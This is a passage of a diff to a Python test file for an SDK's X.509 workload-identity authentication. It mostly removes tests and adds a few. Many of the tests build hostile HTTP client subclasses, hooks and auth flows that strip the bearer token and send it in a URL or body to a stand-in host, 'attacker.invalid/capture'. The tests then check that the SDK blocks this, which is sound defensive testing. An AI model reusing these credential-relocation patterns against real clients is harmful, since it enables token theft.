list[httpx2.Request] = [] + second_requests: list[httpx2.Request] = [] + first_transport = EqualClient(transport=httpx2.MockTransport(lambda request: _record(first_requests, request))) + second_transport = EqualClient(transport=httpx2.MockTransport(lambda request: _record(second_requests, request))) - assert [str(request.url) for request in requests] == [_TOKEN_URL] + async def redirect(request: httpx2.Request) -> None: + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + + second_transport.event_hooks["request"].append(redirect) + async with AsyncOpenAI(workload_identity=_identity(), http_client=first_transport, max_retries=0) as first: + assert (await first.models.list()).object == "list" + async with AsyncOpenAI(workload_identity=_identity(), http_client=second_transport, max_retries=0) as second: + with pytest.raises(OpenAIError, match="configured API origin"): + await second.models.list() + assert [str(request.url) for request in second_requests] == [_TOKEN_URL] -@pytest.mark.parametrize("credential_location", ["query", "query_key", "body", "encoded_body"]) -@pytest.mark.parametrize("change_headers", [False, True]) -@pytest.mark.parametrize("change_method", [False, True]) -@pytest.mark.parametrize("use_client_builder", [False, True]) -def test_sync_x509_rejects_recursive_rebuilds_that_move_credentials_outside_headers( - credential_location: str, change_headers: bool, change_method: bool, use_client_builder: bool -) -> None: - requests: list[httpx2.Request] = [] - class ReconstructingClient(httpx2.Client): +def test_sync_x509_accepts_unhashable_custom_http_clients() -> None: + class UnhashableClient(httpx2.Client): @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if request.url.host == "mtls.api.openai.com": - access_token = request.headers["Authorization"].removeprefix("Bearer ") - url = "https://attacker.invalid/capture" - if credential_location == "query": - url = f"{url}?credential={access_token}" - elif credential_location == "query_key": - url = f"{url}?{access_token}=1" - content = None - if credential_location == "body": - content = access_token.encode() - elif credential_location == "encoded_body": - content = access_token.replace("-", "%2D").encode() - method = "POST" if change_method else request.method - headers = {name: value for name, value in request.headers.items() if name.lower() != "authorization"} - if use_client_builder: - copied = self.build_request(method, url, headers=headers, content=content) - else: - copied = httpx2.Request(method, url, headers=headers, content=content) - copied.headers["host"] = "attacker.invalid" - if change_headers: - copied.headers["User-Agent"] = "reconstructed-client/1" - return self.send(copied, **kwargs) - return super().send(request, **kwargs) + def __eq__(self, other: object) -> bool: + return self is other - http_client = ReconstructingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + http_client = UnhashableClient(transport=httpx2.MockTransport(_response)) with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - with pytest.raises(OpenAIError, match="configured API origin|authorization"): - client.models.list() - - assert [str(request.url) for request in requests] == [_TOKEN_URL] - + assert client.models.list().object == "list" -@pytest.mark.parametrize("credential_location", ["query", "query_key", "body", "encoded_body"]) -@pytest.mark.parametrize("change_headers", [False, True]) -@pytest.mark.parametrize("change_method", [False, True]) -@pytest.mark.parametrize("use_client_builder", [False, True]) -async def test_async_x509_rejects_recursive_rebuilds_that_move_credentials_outside_headers( - credential_location: str, change_headers: bool, change_method: bool, use_client_builder: bool -) -> None: - requests: list[httpx2.Request] = [] - class ReconstructingClient(httpx2.AsyncClient): +async def test_async_x509_accepts_unhashable_custom_http_clients() -> None: + class UnhashableClient(httpx2.AsyncClient): @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if request.url.host == "mtls.api.openai.com": - access_token = request.headers["Authorization"].removeprefix("Bearer ") - url = "https://attacker.invalid/capture" - if credential_location == "query": - url = f"{url}?credential={access_token}" - elif credential_location == "query_key": - url = f"{url}?{access_token}=1" - content = None - if credential_location == "body": - content = access_token.encode() - elif credential_location == "encoded_body": - content = access_token.replace("-", "%2D").encode() - method = "POST" if change_method else request.method - headers = {name: value for name, value in request.headers.items() if name.lower() != "authorization"} - if use_client_builder: - copied = self.build_request(method, url, headers=headers, content=content) - else: - copied = httpx2.Request(method, url, headers=headers, content=content) - copied.headers["host"] = "attacker.invalid" - if change_headers: - copied.headers["User-Agent"] = "reconstructed-client/1" - return await self.send(copied, **kwargs) - return await super().send(request, **kwargs) + def __eq__(self, other: object) -> bool: + return self is other - http_client = ReconstructingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + http_client = UnhashableClient(transport=httpx2.MockTransport(_response)) async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - with pytest.raises(OpenAIError, match="configured API origin|authorization"): - await client.models.list() - - assert [str(request.url) for request in requests] == [_TOKEN_URL] - + assert (await client.models.list()).object == "list" -@pytest.mark.parametrize("query_key", [False, True]) -def test_sync_x509_rejects_recursive_query_credentials_with_literal_plus(query_key: bool) -> None: - requests: list[httpx2.Request] = [] +def test_sync_x509_preserves_caller_default_response_encoding() -> None: def handler(request: httpx2.Request) -> httpx2.Response: - requests.append(request) if str(request.url) == _TOKEN_URL: - return httpx2.Response(200, request=request, json={"access_token": "alpha+bravo", "expires_in": 3600}) - return _response(request) - - class ReconstructingClient(httpx2.Client): - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if request.url.host == "mtls.api.openai.com": - access_token = request.headers["Authorization"].removeprefix("Bearer ") - query = f"{access_token}=1" if query_key else f"credential={access_token}" - return self.send(httpx2.Request("POST", f"https://attacker.invalid/capture?{query}"), **kwargs) - return super().send(request, **kwargs) + return _response(request) + return httpx2.Response(200, request=request, content=b"caf\xe9", headers={"content-type": "text/plain"}) - transport = ReconstructingClient(transport=httpx2.MockTransport(handler)) + transport = httpx2.Client(transport=httpx2.MockTransport(handler), default_encoding="latin-1") with OpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client: - with pytest.raises(OpenAIError, match="configured API origin|authorization"): - client.models.list() - - assert [str(request.url) for request in requests] == [_TOKEN_URL] + response = client.get("/text", cast_to=httpx2.Response) + assert response.encoding == "latin-1" + assert response.text == "café" -@pytest.mark.parametrize("query_key", [False, True]) -async def test_async_x509_rejects_recursive_query_credentials_with_literal_plus(query_key: bool) -> None: - requests: list[httpx2.Request] = [] +async def test_async_x509_preserves_caller_default_response_encoding() -> None: def handler(request: httpx2.Request) -> httpx2.Response: - requests.append(request) if str(request.url) == _TOKEN_URL: - return httpx2.Response(200, request=request, json={"access_token": "alpha+bravo", "expires_in": 3600}) - return _response(request) - - class ReconstructingClient(httpx2.AsyncClient): - @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if request.url.host == "mtls.api.openai.com": - access_token = request.headers["Authorization"].removeprefix("Bearer ") - query = f"{access_token}=1" if query_key else f"credential={access_token}" - return await self.send(httpx2.Request("POST", f"https://attacker.invalid/capture?{query}"), **kwargs) - return await super().send(request, **kwargs) + return _response(request) + return httpx2.Response(200, request=request, content=b"caf\xe9", headers={"content-type": "text/plain"}) - transport = ReconstructingClient(transport=httpx2.MockTransport(handler)) + transport = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), default_encoding="latin-1") async with AsyncOpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client: - with pytest.raises(OpenAIError, match="configured API origin|authorization"): - await client.models.list() - - assert [str(request.url) for request in requests] == [_TOKEN_URL] + response = await client.get("/text", cast_to=httpx2.Response) + assert response.encoding == "latin-1" + assert response.text == "café" -@pytest.mark.parametrize("percent_encode", [False, True]) -@pytest.mark.parametrize("use_client_builder", [False, True]) -def test_sync_x509_rejects_recursive_credential_bodies_matching_auxiliary_requests( - percent_encode: bool, use_client_builder: bool -) -> None: - requests: list[httpx2.Request] = [] - class ReconstructingClient(httpx2.Client): - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if request.url.host == "mtls.api.openai.com": - url = "https://attacker.invalid/capture" - self.build_request("POST", url) - access_token = request.headers["Authorization"].removeprefix("Bearer ") - content = access_token.replace("-", "%2D").encode() if percent_encode else access_token.encode() - if use_client_builder: - copied = self.build_request("POST", url, content=content) - else: - copied = httpx2.Request("POST", url, content=content) - return self.send(copied, **kwargs) - return super().send(request, **kwargs) - - http_client = ReconstructingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) - with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - with pytest.raises(OpenAIError, match="configured API origin|authorization"): - client.models.list() - - assert [str(request.url) for request in requests] == [_TOKEN_URL] - - -@pytest.mark.parametrize("percent_encode", [False, True]) -@pytest.mark.parametrize("use_client_builder", [False, True]) -async def test_async_x509_rejects_recursive_credential_bodies_matching_auxiliary_requests( - percent_encode: bool, use_client_builder: bool -) -> None: - requests: list[httpx2.Request] = [] - - class ReconstructingClient(httpx2.AsyncClient): - @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if request.url.host == "mtls.api.openai.com": - url = "https://attacker.invalid/capture" - self.build_request("POST", url) - access_token = request.headers["Authorization"].removeprefix("Bearer ") - content = access_token.replace("-", "%2D").encode() if percent_encode else access_token.encode() - if use_client_builder: - copied = self.build_request("POST", url, content=content) - else: - copied = httpx2.Request("POST", url, content=content) - return await self.send(copied, **kwargs) - return await super().send(request, **kwargs) - - http_client = ReconstructingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) - async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - with pytest.raises(OpenAIError, match="configured API origin|authorization"): - await client.models.list() - - assert [str(request.url) for request in requests] == [_TOKEN_URL] - - -@pytest.mark.parametrize("credential_location", ["query", "body", "encoded_body"]) -def test_sync_x509_rejects_recursive_credential_rebuilds_in_fresh_threads(credential_location: str) -> None: - requests: list[httpx2.Request] = [] - - class ReconstructingClient(httpx2.Client): - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if request.url.host == "mtls.api.openai.com": - access_token = request.headers["Authorization"].removeprefix("Bearer ") - url = "https://attacker.invalid/capture" - content = None - if credential_location == "query": - url = f"{url}?credential={access_token.replace('-', '%2D')}" - elif credential_location == "encoded_body": - content = access_token.replace("-", "%2D").encode() - else: - content = access_token.encode() - copied = httpx2.Request("POST", url, content=content) - with ThreadPoolExecutor(max_workers=1) as executor: - return executor.submit(self.send, copied, **kwargs).result() - return super().send(request, **kwargs) - - http_client = ReconstructingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) - with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - with pytest.raises(OpenAIError, match="configured API origin|authorization"): - client.models.list() - - assert [str(request.url) for request in requests] == [_TOKEN_URL] - - -@pytest.mark.parametrize("credential_location", ["query", "body", "encoded_body"]) -async def test_async_x509_rejects_recursive_credential_rebuilds_in_fresh_contexts(credential_location: str) -> None: - requests: list[httpx2.Request] = [] - - class ReconstructingClient(httpx2.AsyncClient): - @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if request.url.host == "mtls.api.openai.com": - access_token = request.headers["Authorization"].removeprefix("Bearer ") - url = "https://attacker.invalid/capture" - content = None - if credential_location == "query": - url = f"{url}?credential={access_token.replace('-', '%2D')}" - elif credential_location == "encoded_body": - content = access_token.replace("-", "%2D").encode() - else: - content = access_token.encode() - copied = httpx2.Request("POST", url, content=content) - return await Context().run(asyncio.create_task, self.send(copied, **kwargs)) - return await super().send(request, **kwargs) - - http_client = ReconstructingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) - async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - with pytest.raises(OpenAIError, match="configured API origin|authorization"): - await client.models.list() - - assert [str(request.url) for request in requests] == [_TOKEN_URL] - - -@pytest.mark.parametrize("redirect", [False, True]) -@pytest.mark.parametrize("delegate_storage", ["attribute", "slot", "private_slot", "list", "dict"]) -@pytest.mark.parametrize("reconstruct", [False, True]) -def test_sync_x509_validates_requests_delegated_to_another_http_client( - redirect: bool, delegate_storage: str, reconstruct: bool -) -> None: - requests: list[httpx2.Request] = [] - - def redirect_request(request: httpx2.Request) -> None: - if redirect: - request.url = httpx2.URL("https://attacker.invalid/capture") - request.headers["host"] = "attacker.invalid" - - class PrivateSlotClient(httpx2.Client): - __slots__ = ("__private_inner",) - - def set_private_inner(self, inner: httpx2.Client) -> None: - self.__private_inner = inner - - def private_inner(self) -> httpx2.Client: - return self.__private_inner - - class DelegatingClient(PrivateSlotClient): - __slots__ = ("slotted_inner",) - - def __init__(self) -> None: - inner = httpx2.Client( - transport=httpx2.MockTransport(lambda request: _record(requests, request)), - event_hooks={"request": [redirect_request]}, - ) - if delegate_storage == "slot": - self.slotted_inner = inner - elif delegate_storage == "private_slot": - self.set_private_inner(inner) - elif delegate_storage == "list": - self.clients = [inner] - elif delegate_storage == "dict": - self.client_mapping = {"inner": inner} - else: - self.inner = inner - super().__init__(transport=httpx2.MockTransport(lambda request: _record(requests, request))) - - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if delegate_storage == "slot": - inner = self.slotted_inner - elif delegate_storage == "private_slot": - inner = self.private_inner() - elif delegate_storage == "list": - inner = self.clients[0] - elif delegate_storage == "dict": - inner = self.client_mapping["inner"] - else: - inner = self.inner - if reconstruct: - reconstructed = inner.build_request(request.method, request.url) - reconstructed.headers.update(request.headers) - request = reconstructed - return inner.send(request, **kwargs) - - http_client = DelegatingClient() - with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - if redirect: - with pytest.raises(OpenAIError, match="configured API origin"): - client.models.list() - else: - assert client.models.list().object == "list" - - expected = [_TOKEN_URL] if redirect else [_TOKEN_URL, _API_URL] - assert [str(request.url) for request in requests] == expected - - -@pytest.mark.parametrize("redirect", [False, True]) -@pytest.mark.parametrize("delegate_storage", ["attribute", "slot", "private_slot", "list", "dict"]) -@pytest.mark.parametrize("reconstruct", [False, True]) -async def test_async_x509_validates_requests_delegated_to_another_http_client( - redirect: bool, delegate_storage: str, reconstruct: bool -) -> None: - requests: list[httpx2.Request] = [] - - async def redirect_request(request: httpx2.Request) -> None: - if redirect: - request.url = httpx2.URL("https://attacker.invalid/capture") - request.headers["host"] = "attacker.invalid" - - class PrivateSlotClient(httpx2.AsyncClient): - __slots__ = ("__private_inner",) - - def set_private_inner(self, inner: httpx2.AsyncClient) -> None: - self.__private_inner = inner - - def private_inner(self) -> httpx2.AsyncClient: - return self.__private_inner - - class DelegatingClient(PrivateSlotClient): - __slots__ = ("slotted_inner",) - - def __init__(self) -> None: - inner = httpx2.AsyncClient( - transport=httpx2.MockTransport(lambda request: _record(requests, request)), - event_hooks={"request": [redirect_request]}, - ) - if delegate_storage == "slot": - self.slotted_inner = inner - elif delegate_storage == "private_slot": - self.set_private_inner(inner) - elif delegate_storage == "list": - self.clients = [inner] - elif delegate_storage == "dict": - self.client_mapping = {"inner": inner} - else: - self.inner = inner - super().__init__(transport=httpx2.MockTransport(lambda request: _record(requests, request))) - - @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - if delegate_storage == "slot": - inner = self.slotted_inner - elif delegate_storage == "private_slot": - inner = self.private_inner() - elif delegate_storage == "list": - inner = self.clients[0] - elif delegate_storage == "dict": - inner = self.client_mapping["inner"] - else: - inner = self.inner - if reconstruct: - reconstructed = inner.build_request(request.method, request.url) - reconstructed.headers.update(request.headers) - request = reconstructed - return await inner.send(request, **kwargs) - - http_client = DelegatingClient() - async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - if redirect: - with pytest.raises(OpenAIError, match="configured API origin"): - await client.models.list() - else: - assert (await client.models.list()).object == "list" - - expected = [_TOKEN_URL] if redirect else [_TOKEN_URL, _API_URL] - assert [str(request.url) for request in requests] == expected - - -def test_sync_x509_does_not_traverse_unrelated_custom_client_state() -> None: - class UninspectableHistory(dict[str, object]): - @override - def values(self) -> Any: - raise AssertionError("unrelated application-owned request history was traversed") - - http_client = httpx2.Client(transport=httpx2.MockTransport(_response)) - vars(http_client)["request_history"] = UninspectableHistory({"nested": {"large": [object()]}}) - - with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - assert client.models.list().object == "list" - - -async def test_async_x509_does_not_traverse_unrelated_custom_client_state() -> None: - class UninspectableHistory(dict[str, object]): - @override - def values(self) -> Any: - raise AssertionError("unrelated application-owned request history was traversed") - - http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(_response)) - vars(http_client)["request_history"] = UninspectableHistory({"nested": {"large": [object()]}}) - - async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - assert (await client.models.list()).object == "list" - - -@pytest.mark.parametrize("redirect", [False, True]) -@pytest.mark.parametrize("delegate_source", ["factory", "lazy", "bound", "dispatch"]) -@pytest.mark.parametrize("reconstruct", [False, True]) -def test_sync_x509_validates_lazily_delegated_http_client_requests( - redirect: bool, delegate_source: str, reconstruct: bool -) -> None: - requests: list[httpx2.Request] = [] - - def redirect_request(request: httpx2.Request) -> None: - if redirect: - request.url = httpx2.URL("https://attacker.invalid/capture") - request.headers["host"] = "attacker.invalid" - - def make_delegate() -> httpx2.Client: - return httpx2.Client( - transport=httpx2.MockTransport(lambda request: _record(requests, request)), - event_hooks={"request": [redirect_request]}, - ) - - factory_delegate = make_delegate() if delegate_source in ("factory", "bound", "dispatch") else None - bound_send = factory_delegate.send if delegate_source == "bound" and factory_delegate is not None else None - if delegate_source == "dispatch" and factory_delegate is not None: - vars(factory_delegate)["_send_single_request"] = factory_delegate._send_single_request - - class DelegatingClient(httpx2.Client): - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - inner = factory_delegate if factory_delegate is not None else make_delegate() - if reconstruct: - reconstructed = inner.build_request(request.method, request.url) - reconstructed.headers.update(request.headers) - request = reconstructed - return bound_send(request, **kwargs) if bound_send is not None else inner.send(request, **kwargs) - - original_send = httpx2.Client.send - original_dispatch = httpx2.Client._send_single_request - original_auth = httpx2.Client._send_handling_auth - http_client = DelegatingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) - with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - if redirect: - with pytest.raises(OpenAIError, match="configured API origin"): - client.models.list() - else: - assert client.models.list().object == "list" - - expected = [_TOKEN_URL] if redirect else [_TOKEN_URL, _API_URL] - assert [str(request.url) for request in requests] == expected - assert httpx2.Client.send is original_send - assert httpx2.Client._send_single_request is original_dispatch - assert httpx2.Client._send_handling_auth is original_auth - if factory_delegate is not None: - assert factory_delegate.event_hooks["request"] == [redirect_request] - - -@pytest.mark.parametrize("credential_location", ["query", "body"]) -@pytest.mark.parametrize("mutation_source", ["hook", "auth"]) -def test_sync_x509_rejects_lazy_delegate_hooks_that_move_credentials_outside_headers( - credential_location: str, mutation_source: str -) -> None: - requests: list[httpx2.Request] = [] - - def relocate_credential(request: httpx2.Request) -> None: - token = request.headers.pop("Authorization").removeprefix("Bearer ") - request.url = httpx2.URL(f"https://attacker.invalid/capture?credential={token}") - if credential_location == "body": - request.url = httpx2.URL("https://attacker.invalid/capture") - request._content = token.encode() - request.headers["host"] = "attacker.invalid" - request.extensions.clear() - - class RelocatingAuth(httpx2.Auth): - @override - def auth_flow(self, request: httpx2.Request) -> Generator[httpx2.Request, httpx2.Response, None]: - relocate_credential(request) - yield request - - class DelegatingClient(httpx2.Client): - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - delegate = httpx2.Client( - transport=httpx2.MockTransport(lambda value: _record(requests, value)), - event_hooks={"request": [relocate_credential] if mutation_source == "hook" else []}, - ) - reconstructed = delegate.build_request(request.method, request.url) - reconstructed.headers.update(request.headers) - if mutation_source == "auth": - kwargs["auth"] = RelocatingAuth() - return delegate.send(reconstructed, **kwargs) - - transport = DelegatingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) - with OpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client: - with pytest.raises(OpenAIError, match="configured API origin|authorization"): - client.models.list() - - assert [str(request.url) for request in requests] == [_TOKEN_URL] - - -@pytest.mark.parametrize("redirect", [False, True]) -@pytest.mark.parametrize("delegate_source", ["factory", "lazy", "bound", "dispatch"]) -@pytest.mark.parametrize("reconstruct", [False, True]) -async def test_async_x509_validates_lazily_delegated_http_client_requests( - redirect: bool, delegate_source: str, reconstruct: bool -) -> None: - requests: list[httpx2.Request] = [] - - async def redirect_request(request: httpx2.Request) -> None: - if redirect: - request.url = httpx2.URL("https://attacker.invalid/capture") - request.headers["host"] = "attacker.invalid" - - def make_delegate() -> httpx2.AsyncClient: - return httpx2.AsyncClient( - transport=httpx2.MockTransport(lambda request: _record(requests, request)), - event_hooks={"request": [redirect_request]}, - ) - - factory_delegate = make_delegate() if delegate_source in ("factory", "bound", "dispatch") else None - bound_send = factory_delegate.send if delegate_source == "bound" and factory_delegate is not None else None - if delegate_source == "dispatch" and factory_delegate is not None: - vars(factory_delegate)["_send_single_request"] = factory_delegate._send_single_request - - class DelegatingClient(httpx2.AsyncClient): - @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - inner = factory_delegate if factory_delegate is not None else make_delegate() - if reconstruct: - reconstructed = inner.build_request(request.method, request.url) - reconstructed.headers.update(request.headers) - request = reconstructed - return await (bound_send(request, **kwargs) if bound_send is not None else inner.send(request, **kwargs)) - - original_send = httpx2.AsyncClient.send - original_dispatch = httpx2.AsyncClient._send_single_request - original_auth = httpx2.AsyncClient._send_handling_auth - http_client = DelegatingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) - async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - if redirect: - with pytest.raises(OpenAIError, match="configured API origin"): - await client.models.list() - else: - assert (await client.models.list()).object == "list" - - expected = [_TOKEN_URL] if redirect else [_TOKEN_URL, _API_URL] - assert [str(request.url) for request in requests] == expected - assert httpx2.AsyncClient.send is original_send - assert httpx2.AsyncClient._send_single_request is original_dispatch - assert httpx2.AsyncClient._send_handling_auth is original_auth - if factory_delegate is not None: - assert factory_delegate.event_hooks["request"] == [redirect_request] - - -@pytest.mark.parametrize("credential_location", ["query", "body"]) -@pytest.mark.parametrize("mutation_source", ["hook", "auth"]) -async def test_async_x509_rejects_lazy_delegate_hooks_that_move_credentials_outside_headers( - credential_location: str, mutation_source: str -) -> None: - requests: list[httpx2.Request] = [] - - async def relocate_credential(request: httpx2.Request) -> None: - token = request.headers.pop("Authorization").removeprefix("Bearer ") - request.url = httpx2.URL(f"https://attacker.invalid/capture?credential={token}") - if credential_location == "body": - request.url = httpx2.URL("https://attacker.invalid/capture") - request._content = token.encode() - request.headers["host"] = "attacker.invalid" - request.extensions.clear() - - class RelocatingAuth(httpx2.Auth): - @override - async def async_auth_flow(self, request: httpx2.Request) -> AsyncGenerator[httpx2.Request, httpx2.Response]: - await relocate_credential(request) - yield request - - class DelegatingClient(httpx2.AsyncClient): - @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - delegate = httpx2.AsyncClient( - transport=httpx2.MockTransport(lambda value: _record(requests, value)), - event_hooks={"request": [relocate_credential] if mutation_source == "hook" else []}, - ) - reconstructed = delegate.build_request(request.method, request.url) - reconstructed.headers.update(request.headers) - if mutation_source == "auth": - kwargs["auth"] = RelocatingAuth() - return await delegate.send(reconstructed, **kwargs) - - transport = DelegatingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) - async with AsyncOpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client: - with pytest.raises(OpenAIError, match="configured API origin|authorization"): - await client.models.list() - - assert [str(request.url) for request in requests] == [_TOKEN_URL] - - -@pytest.mark.parametrize("authorization", [None, "Bearer telemetry-token"]) -def test_sync_x509_allows_telemetry_from_a_separately_created_http_client(authorization: str | None) -> None: - requests: list[httpx2.Request] = [] - - class TelemetryClient(httpx2.Client): - @override - def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - telemetry = httpx2.Client(transport=httpx2.MockTransport(lambda value: _record(requests, value))) - headers = {} if authorization is None else {"Authorization": authorization} - telemetry.get("https://telemetry.example/collect", headers=headers) - return super().send(request, **kwargs) - - http_client = TelemetryClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) - with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - assert client.models.list().object == "list" - - assert [str(request.url) for request in requests] == [_TOKEN_URL, "https://telemetry.example/collect", _API_URL] - - -@pytest.mark.parametrize("authorization", [None, "Bearer telemetry-token"]) -async def test_async_x509_allows_telemetry_from_a_separately_created_http_client(authorization: str | None) -> None: - requests: list[httpx2.Request] = [] - - class TelemetryClient(httpx2.AsyncClient): - @override - async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: - telemetry = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda value: _record(requests, value))) - headers = {} if authorization is None else {"Authorization": authorization} - await telemetry.get("https://telemetry.example/collect", headers=headers) - return await super().send(request, **kwargs) - - http_client = TelemetryClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) - async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: - assert (await client.models.list()).object == "list" - - assert [str(request.url) for request in requests] == [_TOKEN_URL, "https://telemetry.example/collect", _API_URL] - - -@pytest.mark.skipif(os.getenv("OPENAI_TEST_LEGACY_HTTPX") != "1", reason="requires legacy HTTPX compatibility lane") -@pytest.mark.parametrize("lazy", [False, True]) -def test_sync_x509_validates_requests_delegated_to_legacy_httpx_clients(lazy: bool) -> None: - legacy_httpx = cast(Any, importlib.import_module("httpx")) - requests: list[Any] = [] - - def handler(request: Any) -> Any: - requests.append(request) - if str(request.url) == _TOKEN_URL: - return legacy_httpx.Response( - 200, request=request, json={"access_token": "access-token", "expires_in": 3600} - ) - return legacy_httpx.Response(200, request=request, json={"object": "list", "data": []}) - - def redirect(request: Any) -> None: - request.url = legacy_httpx.URL("https://attacker.invalid/capture") - request.headers["host"] = "attacker.invalid" - - outer = legacy_httpx.Client(transport=legacy_httpx.MockTransport(handler)) - if not lazy: - outer.inner = legacy_httpx.Client( - transport=legacy_httpx.MockTransport(handler), event_hooks={"request": [redirect]} - ) - - def delegate(request: Any, **kwargs: Any) -> Any: - inner = ( - legacy_httpx.Client(transport=legacy_httpx.MockTransport(handler), event_hooks={"request": [redirect]}) - if lazy - else outer.inner - ) - return inner.send(request, **kwargs) - - outer.send = delegate - with OpenAI(workload_identity=_identity(), http_client=outer, max_retries=0) as client: - with pytest.raises(OpenAIError, match="configured API origin"): - client.models.list() - - assert [str(request.url) for request in requests] == [_TOKEN_URL] - - -@pytest.mark.skipif(os.getenv("OPENAI_TEST_LEGACY_HTTPX") != "1", reason="requires legacy HTTPX compatibility lane") -@pytest.mark.parametrize("lazy", [False, True]) -async def test_async_x509_validates_requests_delegated_to_legacy_httpx_clients(lazy: bool) -> None: - legacy_httpx = cast(Any, importlib.import_module("httpx")) - requests: list[Any] = [] - - def handler(request: Any) -> Any: - requests.append(request) - if str(request.url) == _TOKEN_URL: - return legacy_httpx.Response( - 200, request=request, json={"access_token": "access-token", "expires_in": 3600} - ) - return legacy_httpx.Response(200, request=request, json={"object": "list", "data": []}) - - async def redirect(request: Any) -> None: - request.url = legacy_httpx.URL("https://attacker.invalid/capture") - request.headers["host"] = "attacker.invalid" - - outer = legacy_httpx.AsyncClient(transport=legacy_httpx.MockTransport(handler)) - if not lazy: - outer.inner = legacy_httpx.AsyncClient( - transport=legacy_httpx.MockTransport(handler), event_hooks={"request": [redirect]} - ) - - async def delegate(request: Any, **kwargs: Any) -> Any: - inner = ( - legacy_httpx.AsyncClient(transport=legacy_httpx.MockTransport(handler), event_hooks={"request": [redirect]}) - if lazy - else outer.inner - ) - return await inner.send(request, **kwargs) - - outer.send = delegate - async with AsyncOpenAI(workload_identity=_identity(), http_client=outer, max_retries=0) as client: - with pytest.raises(OpenAIError, match="configured API origin"): - await client.models.list() - - assert [str(request.url) for request in requests] == [_TOKEN_URL] - - -@pytest.mark.skipif(os.getenv("OPENAI_TEST_LEGACY_HTTPX") != "1", reason="requires legacy HTTPX compatibility lane") -@pytest.mark.parametrize("is_async", [False, True]) -def test_x509_guards_legacy_httpx_imported_by_a_lazy_delegate(is_async: bool) -> None: - script = dedent( - """ - import asyncio - import importlib - import sys - - import httpx2 - from openai import AsyncOpenAI, OpenAI, OpenAIError - from openai.auth import x509_workload_identity - - assert "httpx" not in sys.modules - captures = [] - - def handler(request): - captures.append(str(request.url)) - if request.url.host == "mtls.auth.openai.com": - return httpx2.Response( - 200, request=request, json={"access_token": "fake-access-token", "expires_in": 3600} - ) - return httpx2.Response(200, request=request, json={"object": "list", "data": []}) - - def redirect(request): - legacy = importlib.import_module("httpx") - request.url = legacy.URL("https://attacker.invalid/capture") - request.headers["host"] = "attacker.invalid" - - identity = x509_workload_identity(identity_provider_id="idp_example", service_account_id="svc_example") - - if sys.argv[1] == "async": - class Outer(httpx2.AsyncClient): - async def send(self, request, **kwargs): - legacy = importlib.import_module("httpx") - - async def hook(value): - redirect(value) - - inner = legacy.AsyncClient(transport=legacy.MockTransport(handler), event_hooks={"request": [hook]}) - copied = legacy.Request(request.method, str(request.url), headers=dict(request.headers)) - kwargs["auth"] = None - return await inner.send(copied, **kwargs) - - async def run(): - outer = Outer(transport=httpx2.MockTransport(handler)) - async with AsyncOpenAI(workload_identity=identity, http_client=outer, max_retries=0) as client: - try: - await client.models.list() - except OpenAIError: - return - raise AssertionError("redirected X.509 request was not blocked") - - asyncio.run(run()) - else: - class Outer(httpx2.Client): - def send(self, request, **kwargs): - legacy = importlib.import_module("httpx") - inner = legacy.Client(transport=legacy.MockTransport(handler), event_hooks={"request": [redirect]}) - copied = legacy.Request(request.method, str(request.url), headers=dict(request.headers)) - kwargs["auth"] = None - return inner.send(copied, **kwargs) - - outer = Outer(transport=httpx2.MockTransport(handler)) - with OpenAI(workload_identity=identity, http_client=outer, max_retries=0) as client: - try: - client.models.list() - except OpenAIError: - pass - else: - raise AssertionError("redirected X.509 request was not blocked") - - 